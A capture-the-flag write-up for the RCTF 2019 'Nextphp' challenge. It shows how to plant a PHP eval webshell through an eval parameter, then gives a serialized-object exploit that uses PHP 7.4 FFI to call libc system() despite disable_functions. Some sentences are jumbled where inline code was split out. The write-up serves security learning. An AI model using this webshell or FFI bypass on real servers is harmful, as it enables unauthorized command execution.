Article directory
FFI bypass disable_functions
[RCTF 2019]Nextphp
Look at this topic first
index.php
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
Check out phpinfo
Found that many functions are filtered, let's write a horse:
/?a=file_put_contents('1.php',"<?php @eval($_POST[1]);?>");
Ant sword connection:
preload.php
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
I originally wanted to try to use LD_PRELOAD
the etc. method to bypass it , but the functions such as , etc. disable_functions
are disabled , so there is no waymail
putenv()
Now that we have obtained the preload.php file, we have to mention it PHP7.4 FFI
here
PHP7.4 FEE
FFI (Foreign Function Interface), that is, foreign function interface, refers to the technology of calling another language code in one language. PHP's FFI extension is a technology that lets you call C code in PHP. The use of FFI only needs two steps of declaring and calling.
Conditions of Use:
Linux 操作系统 PHP >= 7.4 开启了 FFI 扩展且 ffi.enable=true
If we want to call the system function in the C standard library (don't consider PHP's own implementation of the system function), we use cdef to load it, and cdef will load the dynamic link library libc that stores the system function into the memory, so that PHP There is this system in the process space, which is why the system function is filtered in disable_functions, but the resulting payload still uses the system, because we are加载c库函数中的system函数的
So the idea here is to use PHP code to call c code, first declare the command execution function in c, and then call the c function through the FFI variable to bypass
Since the php version here is 7.4, we can use this method
exp:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(char *command);'
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
}
}
$a = new A();
echo serialize($a);
# C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}
Here we need to comment out __serialize()
the function, otherwise it will be executed first __serialize()
, here we need to execute serialize()
the function
Then we pass parameters:
/?a=unserialize('C:1:"A":89:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:26:"int system(char *command);";}}')->__serialize()['ret']->system('cat /flag > /var/www/html/1.txt');
First deserialize A
the object, then call __serialize()
the returned array, take the variables $this->data
in it , because it will be called when calling , so it is equivalent to declaring an FFI object, and then executing the functionret
unserialize()
run()
ret=FFI::cdef(int system(char *command);)
system()
reference
https://www.cnblogs.com/karsa/p/13393034.html
https://blog.csdn.net/RABCDXB/article/details/120319633